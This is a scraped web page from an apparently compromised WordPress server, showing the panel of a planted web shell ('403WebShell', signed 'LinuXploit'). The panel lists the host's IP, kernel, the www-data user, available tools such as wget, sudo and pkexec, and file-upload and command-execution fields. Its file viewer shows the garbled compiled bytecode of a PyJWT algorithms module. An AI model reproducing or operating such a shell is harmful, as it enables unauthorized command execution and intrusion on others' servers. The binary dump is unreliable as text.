WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 18.193.92.211  /  Your IP : 216.73.216.24
Web Server : Apache/2.4.63 (Ubuntu)
System : Linux ip-10-0-0-90 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 06:59:36 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /snap/core22/current/lib/python3/dist-packages/jwt/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /snap/core22/current/lib/python3/dist-packages/jwt/__pycache__/algorithms.cpython-310.pyc
o

W�jEg�@s�ddlZddlZddlZddlmZddlmZmZmZm	Z	m
Z
mZmZm
Z
mZzdddlZddlmZmZddlmZddlmZddlmZmZdd	lmZmZdd
lmZmZddlm Z m!Z!ddl"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z(m)Z)m*Z*dd
l+m,Z,m-Z-m.Z.m/Z/m0Z0m1Z1m2Z2m3Z3dZ4Wne5y�dZ4Ynwhd�Z6dd�Z7Gdd�d�Z8Gdd�de8�Z9Gdd�de8�Z:e4r�Gdd�de8�Z;Gdd�de8�Z<Gdd�de;�Z=Gdd �d e8�Z>dSdS)!�N���InvalidKeyError)	�base64url_decode�base64url_encode�der_to_raw_signature�force_bytes�from_base64url_uint�
is_pem_format�
is_ssh_key�raw_to_der_signature�to_base64url_uint)�InvalidSignature�UnsupportedAlgorithm)�x509)�hashes)�ec�padding)�EllipticCurvePrivateKey�EllipticCurvePublicKey)�Ed448PrivateKey�Ed448PublicKey)�Ed25519PrivateKey�Ed25519PublicKey)�
RSAPrivateKey�RSAPrivateNumbers�RSAPublicKey�RSAPublicNumbers�rsa_crt_dmp1�rsa_crt_dmq1�rsa_crt_iqmp�rsa_recover_prime_factors)�Encoding�NoEncryption�
PrivateFormat�PublicFormat�load_der_public_key�load_pem_private_key�load_pem_public_key�load_ssh_public_keyTF>�ES256�ES384�ES512�ES521�EdDSA�PS256�PS384�PS512�RS256�RS384�RS512�ES256KcCs�t�ttj�ttj�ttj�d�}trG|�ttj�ttj�ttj�ttj�ttj�ttj�ttj�ttj�t	t	j�t	t	j�t	t	j�t
�d��|S)zE
    Returns the algorithms that are implemented by the library.
    )�none�HS256�HS384�HS512)r2r3r4r*r5r+r-r,r/r0r1r.)�
NoneAlgorithm�
HMACAlgorithm�SHA256�SHA384�SHA512�
has_crypto�update�RSAAlgorithm�ECAlgorithm�RSAPSSAlgorithm�OKPAlgorithm)�default_algorithms�rF�0/usr/lib/python3/dist-packages/jwt/algorithms.py�get_default_algorithmsMs0����rHc@s@eZdZdZdd�Zdd�Zdd�Zedd	��Zed
d��Z	dS)
�	AlgorithmzH
    The interface for an algorithm used to sign and verify tokens.
    cC�t�)z�
        Performs necessary validation and conversions on the key and returns
        the key value in the proper format for sign() and verify().
        ��NotImplementedError��self�keyrFrFrG�prepare_keyt�zAlgorithm.prepare_keycCrJ)zn
        Returns a digital signature for the specified message
        using the specified key value.
        rK�rN�msgrOrFrFrG�sign{rQzAlgorithm.signcCrJ)zz
        Verifies that the specified digital signature is valid
        for the specified message and key values.
        rK�rNrSrO�sigrFrFrG�verify�rQzAlgorithm.verifycCrJ)z7
        Serializes a given RSA key into a JWK
        rK��key_objrFrFrG�to_jwk�rQzAlgorithm.to_jwkcCrJ)zb
        Deserializes a given RSA key from JWK back into a PublicKey or PrivateKey object
        rK)�jwkrFrFrG�from_jwk�rQzAlgorithm.from_jwkN)
�__name__�
__module__�__qualname__�__doc__rPrTrW�staticmethodrZr\rFrFrFrGrIos
rIc@s(eZdZdZdd�Zdd�Zdd�ZdS)	r:zZ
    Placeholder for use when no signing or verification
    operations are required.
    cCs |dkrd}|durtd��|S)N�z*When alg = "none", key value must be None.rrMrFrFrGrP�s
zNoneAlgorithm.prepare_keycC�dS)N�rFrRrFrFrGrT��zNoneAlgorithm.signcCrc)NFrFrUrFrFrGrW�rezNoneAlgorithm.verifyN)r]r^r_r`rPrTrWrFrFrFrGr:�s
	r:c@speZdZdZejZejZej	Z
dd�Zede
defdd��Zdd	�Zed
d��Zedd
��Zdd�Zdd�ZdS)r;zf
    Performs signing and verification operations using HMAC
    and the specified hash function.
    cC�
||_dS�N��hash_alg�rNrirFrFrG�__init__��
zHMACAlgorithm.__init__�	key_bytes�returnc
Cs\tsdSzt|�WdStttfyYnwzt�|�WdStttfy-YdSw�NFT)r?r&�	TypeError�
ValueErrorrr�load_der_x509_certificate)rmrFrFrG�_is_der_key�s
����zHMACAlgorithm._is_der_keycCsxt|�}t|�dkrtd��t|�st|�s|�|�rtd��ztj|dd�d�}Wn�ty�z|j	t�
|�dd�}WntyHd	}Ynw|�d
�}d}d}|t|�kr�||dkrc|d
7}qR|d
}|t|�kr�||dkrx|d7}n||dkrn
|d
7}|t|�ksm|t|�kr�nR|d
}|t|�kr�||dvr�|d
7}|t|�kr�||dvs�|t|�kr�||dkr�zt�|||d
��dk}Wn	t
y�Ynw|r�n
|d
}|t|�ksX|�d�s�|�d�r�|r�td�d�d}Ynt
�yd}Ynwd}	|g}
|
�r3|
��}t|t��r%d|v�rd}	n|
�|���nt|t��r0|
�|�|
�s|	�r:td��|S)NrzHMAC key must not be empty.zdThe specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.cSrc)NrrF)�_rFrFrG�<lambda>�sz+HMACAlgorithm.prepare_key.<locals>.<lambda>)�	parse_int�
surrogatepass)�errorsrbu 	
F�"r�\�z 	
�:�kty�{�[z�The specified key looks like a JWK and should not be used directly as an HMAC secret. Load it via PyJWK / HMACAlgorithm.from_jwk first.T)r�lenrr
rrs�json�loads�RecursionError�decode�detect_encoding�UnicodeError�lstriprq�
startswith�pop�
isinstance�dict�extend�values�list)rNrO�jwk_obj�decoded_key�stripped_key�has_jwk_member�index�end�
next_index�contains_jwk_member�objects_to_check�objrFrFrGrP�s��

��

����������
�����

�	�zHMACAlgorithm.prepare_keycCst�tt|����dd��S)N�oct)�kr})r��dumpsrrr�rXrFrFrGrZ's
��zHMACAlgorithm.to_jwkcCshzt|t�rt�|�}n
t|t�r|}nt�Wnty"td��w|�d�dkr.td��t|d�S)N�Key is not valid JSONr}r�zNot an HMAC keyr�)	r��strr�r�r�rqr�getr)r[r�rFrFrGr\0s

��zHMACAlgorithm.from_jwkcCst�|||j���Srg)�hmac�newri�digestrRrFrFrGrTA�zHMACAlgorithm.signcCst�||�||��Srg)r��compare_digestrTrUrFrFrGrWDr�zHMACAlgorithm.verifyN)r]r^r_r`�hashlib�sha256r<�sha384r=�sha512r>rkra�bytes�boolrsrPrZr\rTrWrFrFrFrGr;�sZ

r;c@sZeZdZdZejZejZejZdd�Zdd�Z	e
dd��Ze
dd	��Zd
d�Z
dd
�ZdS)rAz~
        Performs signing and verification operations using
        RSASSA-PKCS-v1_5 and the specified hash function.
        cCrfrgrhrjrFrFrGrkTrlzRSAAlgorithm.__init__cCsxt|ttf�r	|St|ttf�std��t|�}z|�d�r%t|�}W|St	|dd�}W|St
y;t|�}Y|Sw)N�Expecting a PEM-formatted key.sssh-rsa��password)r�rrr�r�rprr�r)r'rqr(rMrFrFrGrPWs

��
�zRSAAlgorithm.prepare_keycCs�d}t|dd�rE|��}ddgt|jj���t|jj���t|j���t|j���t|j	���t|j
���t|j���t|j���d�
}n!t|dd�rb|��}ddgt|j���t|j���d�}nt
d��t�|�S)N�private_numbers�RSArT)
r}�key_ops�n�e�d�p�q�dp�dq�qirW)r}r�r�r��Not a public or private key)�getattrr�r
�public_numbersr�r�r�r�r�r��dmp1�dmq1�iqmprr�r�)rYr��numbersrFrFrGrZis.�
�
zRSAAlgorithm.to_jwkc		s�zt|t�rt�|��n
t|t�r|�nt�Wnty"td��w��d�dkr.td��d�vr�d�vr�d�vr�d�vrBtd	��gd
�}�fdd�|D�}t|�}|r]t	|�s]td
��t
t�d�t�d��}|r�tt�d�t�d�t�d�t�d�t�d�t�d�|d�}|��St�d�}t
|j||j�\}}t|||t||�t||�t||�|d�}|��Sd�vr�d�vr�t
t�d�t�d��}|��Std��)Nr�r}r�zNot an RSA keyr�r�r��othz5Unsupported RSA private key: > 2 primes not supported)r�r�r�r�r�csg|]}|�v�qSrFrF)�.0�prop�r�rFrG�
<listcomp>�sz)RSAAlgorithm.from_jwk.<locals>.<listcomp>z@RSA key must include all parameters if any are present besides dr�r�r�r�r�)r�r�r�r�r�r�r�r�)r�r�r�r�r�rqrr��any�allrr	rr!r�r�rrr �private_key�
public_key)	r[�other_props�props_found�any_props_foundr�r�r�r�r�rFr�rGr\�sx

����

�





��
��


�zRSAAlgorithm.from_jwkcCs|�|t��|���Srg)rTr�PKCS1v15rirRrFrFrGrT�szRSAAlgorithm.signcCs4z|�||t��|���WdStyYdSw)NTF)rWrr�rirrUrFrFrGrW�s�zRSAAlgorithm.verifyN)r]r^r_r`rr<r=r>rkrPrarZr\rTrWrFrFrFrGrAJs
#
IrAc@sNeZdZdZejZejZejZdd�Zdd�Z	dd�Z
dd	�Zed
d��Z
dS)
rBzr
        Performs signing and verification operations using
        ECDSA and the specified hash function
        cCrfrgrhrjrFrFrGrk�rlzECAlgorithm.__init__cCsxt|ttf�r	|St|ttf�std��t|�}z|�d�r%t|�}W|St	|�}W|St
y;t|dd�}Y|Sw)Nr�secdsa-sha2-r�)r�rrr�r�rprr�r)r(rqr'rMrFrFrGrP�s


���zECAlgorithm.prepare_keycCs"|�|t�|����}t||j�Srg)rTr�ECDSArir�curve)rNrSrO�der_sigrFrFrGrTszECAlgorithm.signcCslzt||j�}Wn
tyYdSwzt|t�r|��}|�||t�|�	���WdSt
y5YdSwro)rr�rqr�rr�rWrr�rir)rNrSrOrVr�rFrFrGrW	s�
�zECAlgorithm.verifycCs&zt|t�rt�|�}n
t|t�r|}nt�Wnty"td��w|�d�dkr.td��d|vs6d|vr:td��t|�d��}t|�d��}|�d�}|dkrmt	|�t	|�kr_d	krintd
��t
��}nktd
��|dkr�t	|�t	|�krdkr�ntd
��t
��}nKtd
��|dkr�t	|�t	|�kr�dkr�ntd��t
�
�}n+td��|dkr�t	|�t	|�kr�d	kr�ntd��t
��}ntd��td|����t
jtj|dd�tj|dd�|d�}d|vr�|��St|�d��}t	|�t	|�k�rtdt	|�|��t
�tj|dd�|���S)Nr�r}�ECzNot an Elliptic curve key�x�y�crvzP-256� z)Coords should be 32 bytes for curve P-256zP-384�0z)Coords should be 48 bytes for curve P-384zP-521�Bz)Coords should be 66 bytes for curve P-521�	secp256k1z-Coords should be 32 bytes for curve secp256k1�Invalid curve: �big)�	byteorder)r�r�r�r�z!D should be {} bytes for curve {})r�r�r�r�r�rqrr�rr�r�	SECP256R1�	SECP384R1�	SECP521R1�	SECP256K1�EllipticCurvePublicNumbers�int�
from_bytesr��EllipticCurvePrivateNumbersr�)r[r�r�r�r��	curve_objr�r�rFrFrGr\sv

��

�
�
��
���
���zECAlgorithm.from_jwkN)r]r^r_r`rr<r=r>rkrPrTrWrar\rFrFrFrGrB�srBc@s eZdZdZdd�Zdd�ZdS)rCzA
        Performs a signature using RSASSA-PSS with MGF1
        cCs*|�|tjt�|���|jjd�|���S)N��mgf�salt_length)rTr�PSS�MGF1ri�digest_sizerRrFrFrGrT^s��zRSAPSSAlgorithm.signc	CsHz|�||tjt�|���|jjd�|���WdSty#YdSw)Nr�TF)rWrr�r�rir�rrUrFrFrGrWhs��	�zRSAPSSAlgorithm.verifyN)r]r^r_r`rTrWrFrFrFrGrCYs
rCc@sHeZdZdZdd�Zdd�Zdd�Zdd	�Zed
d��Z	edd
��Z
dS)rDz�
        Performs signing and verification operations using EdDSA

        This class requires ``cryptography>=2.6`` to be installed.
        cKsdSrgrF)rN�kwargsrFrFrGrk~rezOKPAlgorithm.__init__cCs�t|ttf�r6t|t�r|�d�}|�d�}d|vrt|�}nd|vr*t|dd�}n|dd�dkr6t|�}t|tt	t
tf�sCtd��|S)	N�utf-8z-----BEGIN PUBLICz-----BEGIN PRIVATEr�r�zssh-zcExpecting a EllipticCurvePrivateKey/EllipticCurvePublicKey. Wrong key provided for EdDSA algorithms)
r�r�r��encoder�r(r'r)rrrrr)rNrO�str_keyrFrFrGrP�s$




��zOKPAlgorithm.prepare_keycCs$t|�turt|d�n|}|�|�S)aR
            Sign a message ``msg`` using the EdDSA private key ``key``
            :param str|bytes msg: Message to sign
            :param Ed25519PrivateKey}Ed448PrivateKey key: A :class:`.Ed25519PrivateKey`
                or :class:`.Ed448PrivateKey` iinstance
            :return bytes signature: The signature, as bytes
            r�)�typer�rTrRrFrFrGrT�s
zOKPAlgorithm.signcCsvz.t|�turt|d�n|}t|�turt|d�n|}t|ttf�r&|��}|�||�WdStjj	y:YdSw)a�
            Verify a given ``msg`` against a signature ``sig`` using the EdDSA key ``key``

            :param str|bytes sig: EdDSA signature to check ``msg`` against
            :param str|bytes msg: Message to sign
            :param Ed25519PrivateKey|Ed25519PublicKey|Ed448PrivateKey|Ed448PublicKey key:
                A private or public EdDSA key instance
            :return bool verified: True if signature is valid, False if not.
            r�TF)
r�r�r�rrr�rW�cryptography�
exceptionsrrUrFrFrGrW�s
�zOKPAlgorithm.verifycCs�t|ttf�r(|jtjtjd�}t|t�rdnd}t�t	t
|����d|d��St|tt
f�rd|jtjtjt�d�}|��jtjtjd�}t|t�rLdnd}t�t	t
|����t	t
|����d|d��Std��)	N��encoding�format�Ed25519�Ed448�OKP)r�r}r�)r�r��encryption_algorithm)r�r�r}r�r�)r�rr�public_bytesr"�Rawr%r�r�rrr�rr�
private_bytesr$r#r�r)rOr�r�r�rFrFrGrZ�s>�������	zOKPAlgorithm.to_jwkc
CsBzt|t�rt�|�}n
t|t�r|}nt�Wnty"td��w|�d�dkr.td��|�d�}|dkrB|dkrBtd|����d	|vrJtd
��t|�d	��}z>d|vrf|dkr`t	�
|�WSt�
|�WSt|�d��}|dkrwt�
|�}nt�
|�}|��jtjtjd�|kr�td
��|WSty�}ztd�|�d}~ww)Nr�r}r�zNot an Octet Key Pairr�r�r�r�r�zOKP should have "x" parameterr�r�z%Public key does not match private keyzInvalid key parameter)r�r�r�r�r�rqrr�rr�from_public_bytesrr�from_private_bytesrr�r�r"r�r%)r[r�r�r�r�r��errrFrFrGr\�sL

��

��
��zOKPAlgorithm.from_jwkN)r]r^r_r`rkrPrTrWrarZr\rFrFrFrGrDws
'rD)?r�r�r�r�r�utilsrrrrr	r
rrr
�cryptography.exceptionsr�rrr�cryptography.hazmat.primitivesr�)cryptography.hazmat.primitives.asymmetricrr�,cryptography.hazmat.primitives.asymmetric.ecrr�/cryptography.hazmat.primitives.asymmetric.ed448rr�1cryptography.hazmat.primitives.asymmetric.ed25519rr�-cryptography.hazmat.primitives.asymmetric.rsarrrrrrr r!�,cryptography.hazmat.primitives.serializationr"r#r$r%r&r'r(r)r?�ModuleNotFoundError�requires_cryptographyrHrIr:r;rArBrCrDrFrFrFrG�<module>sF,((
�")x���

Youez - 2016 - github.com/yon3zu
LinuXploit